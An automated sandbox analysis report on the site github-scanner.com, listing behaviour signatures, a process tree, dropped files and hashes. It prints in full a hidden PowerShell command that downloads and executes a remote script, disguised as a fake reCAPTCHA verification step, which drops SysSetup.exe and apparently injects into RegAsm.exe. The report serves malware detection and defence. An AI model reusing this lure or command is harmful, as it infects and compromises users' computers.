Analysis

  • max time kernel
    31s
  • max time network
    32s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-09-2024 05:49

General

  • Target

    https://github-scanner.com

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 25 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github-scanner.com
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4680
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffcb5b546f8,0x7ffcb5b54708,0x7ffcb5b54718
      2⤵
        PID:3064
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2008,16307638939306128676,9497812802123049049,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2088 /prefetch:2
        2⤵
          PID:2708
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2008,16307638939306128676,9497812802123049049,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3120
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2008,16307638939306128676,9497812802123049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2688 /prefetch:8
          2⤵
            PID:4944
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2008,16307638939306128676,9497812802123049049,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:1
            2⤵
              PID:4336
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2008,16307638939306128676,9497812802123049049,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:1
              2⤵
                PID:3096
              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2008,16307638939306128676,9497812802123049049,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5228 /prefetch:8
                2⤵
                  PID:4160
                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2008,16307638939306128676,9497812802123049049,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5228 /prefetch:8
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4460
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2008,16307638939306128676,9497812802123049049,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4972 /prefetch:1
                  2⤵
                    PID:5464
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2008,16307638939306128676,9497812802123049049,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3020 /prefetch:1
                    2⤵
                      PID:5472
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2008,16307638939306128676,9497812802123049049,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5300 /prefetch:1
                      2⤵
                        PID:5648
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2008,16307638939306128676,9497812802123049049,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:1
                        2⤵
                          PID:5656
                      • C:\Windows\System32\CompPkgSrv.exe
                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                        1⤵
                          PID:5036
                        • C:\Windows\System32\CompPkgSrv.exe
                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                          1⤵
                            PID:1416
                          • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
                            "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w hidden -Command "iex (iwr 'https://github-scanner.com/download.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752"
                            1⤵
                            • Blocklisted process makes network request
                            • Command and Scripting Interpreter: PowerShell
                            • Drops file in System32 directory
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:652
                            • C:\Users\Admin\AppData\Local\Temp\SysSetup.exe
                              "C:\Users\Admin\AppData\Local\Temp\SysSetup.exe"
                              2⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              • System Location Discovery: System Language Discovery
                              PID:5256
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                3⤵
                                  PID:5404
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                  3⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:5412

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

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                            Downloads

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                              Filesize

                              152B

                              MD5

                              d7114a6cd851f9bf56cf771c37d664a2

                              SHA1

                              769c5d04fd83e583f15ab1ef659de8f883ecab8a

                              SHA256

                              d2c75c7d68c474d4b8847b4ba6cfd09fe90717f46dd398c86483d825a66e977e

                              SHA512

                              33bdae2305ae98e7c0de576de5a6600bd70a425e7b891d745cba9de992036df1b3d1df9572edb0f89f320e50962d06532dae9491985b6b57fd37d5f46f7a2ff8

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                              Filesize

                              152B

                              MD5

                              719923124ee00fb57378e0ebcbe894f7

                              SHA1

                              cc356a7d27b8b27dc33f21bd4990f286ee13a9f9

                              SHA256

                              aa22ab845fa08c786bd3366ec39f733d5be80e9ac933ed115ff048ff30090808

                              SHA512

                              a207b6646500d0d504cf70ee10f57948e58dab7f214ad2e7c4af0e7ca23ce1d37c8c745873137e6c55bdcf0f527031a66d9cc54805a0eac3678be6dd497a5bbc

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                              Filesize

                              5KB

                              MD5

                              3e29fca8acfbfadc9d4acc76fdea3e03

                              SHA1

                              a9d1b1eb41ca0e37853aeed8466cf38bbe8d7239

                              SHA256

                              ca1a61ea48d293a652ad6725989dd0dc13fad089462c47aec007f8f593a8d08e

                              SHA512

                              e9eadf5138fd3ea6b921c9928ec277f89cdd7de2ef360908366377b0a4322f7b6dedb0a32e293e1ed09753aaaef4746be10dc2499c0fde2df7433a29fe3b2532

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                              Filesize

                              6KB

                              MD5

                              bd7cbd69976cb1060e68b0d97ca0bf6b

                              SHA1

                              2c064d84c2f43c1ff5b0edbd5816c5a7a1b1c12e

                              SHA256

                              7f229213b4cd6efd4a02ff0bad072dd3e40396772549823f77216d2ec3c78a19

                              SHA512

                              007003cfefda8818b0021178ff9acb04e6b26974129f5d79528755f310f10cd012798330f1bb0d33465f3f09fc12b75a8a3fe8d5945c0e33d4adde0cd42a48ef

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                              Filesize

                              16B

                              MD5

                              6752a1d65b201c13b62ea44016eb221f

                              SHA1

                              58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                              SHA256

                              0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                              SHA512

                              9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                              Filesize

                              10KB

                              MD5

                              0426664fa248e03305c76b25b760f393

                              SHA1

                              7832f00bdf229bbc764af64ba4f71c1584a8a10a

                              SHA256

                              716666ecf9a51ffcd4163d03bc3876d1ef8697f30c2bf44f7f388e241c9a0536

                              SHA512

                              cce28f3ab6813f631a050888afe5abcc5e236c615c2269feb46ba3433ecd90e906c00d82e7d7c76404899b52cda3509b18df518972d606670b8e4761e11b74c4

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                              Filesize

                              10KB

                              MD5

                              720cea52d250e8a0ca35d05890e9b52b

                              SHA1

                              79dce9e575bf1bebf6a112b7136728625931afe2

                              SHA256

                              c13327e24c72b8506d5a49807ce1538cc502df9b3c12ca98a0347ad445cbd34c

                              SHA512

                              2bd80b6b0237fe89a4ba777fbd7ba8bee277013fcd9766f1ac4d37ff321e3149cfa6edcbaf1d07cf0e40dbb066251106dec68135aa0dd0943eeebfc7304385a5

                            • C:\Users\Admin\AppData\Local\Temp\SysSetup.exe

                              Filesize

                              345KB

                              MD5

                              fac2188e4a28a0cf32bf4417d797b0f8

                              SHA1

                              1970de8788c07b548bf04d0062a1d4008196a709

                              SHA256

                              d737637ee5f121d11a6f3295bf0d51b06218812b5ec04fe9ea484921e905a207

                              SHA512

                              58086100d653ceeae44e0c99ec8348dd2beaf198240f37691766bee813953f8514c485e39f5552ee0d18c61f02bff10c0c427f3fec931bc891807be188164b2b

                            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q2ewv315.hrk.ps1

                              Filesize

                              60B

                              MD5

                              d17fe0a3f47be24a6453e9ef58c94641

                              SHA1

                              6ab83620379fc69f80c0242105ddffd7d98d5d9d

                              SHA256

                              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                              SHA512

                              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                            • memory/652-66-0x0000021EF83D0000-0x0000021EF8B76000-memory.dmp

                              Filesize

                              7.6MB

                            • memory/652-61-0x0000021EF7790000-0x0000021EF77B2000-memory.dmp

                              Filesize

                              136KB

                            • memory/5256-81-0x0000000000150000-0x00000000001AA000-memory.dmp

                              Filesize

                              360KB

                            • memory/5412-83-0x0000000000400000-0x000000000045D000-memory.dmp

                              Filesize

                              372KB

                            • memory/5412-87-0x0000000000400000-0x000000000045D000-memory.dmp

                              Filesize

                              372KB

                            • memory/5412-85-0x0000000000400000-0x000000000045D000-memory.dmp

                              Filesize

                              372KB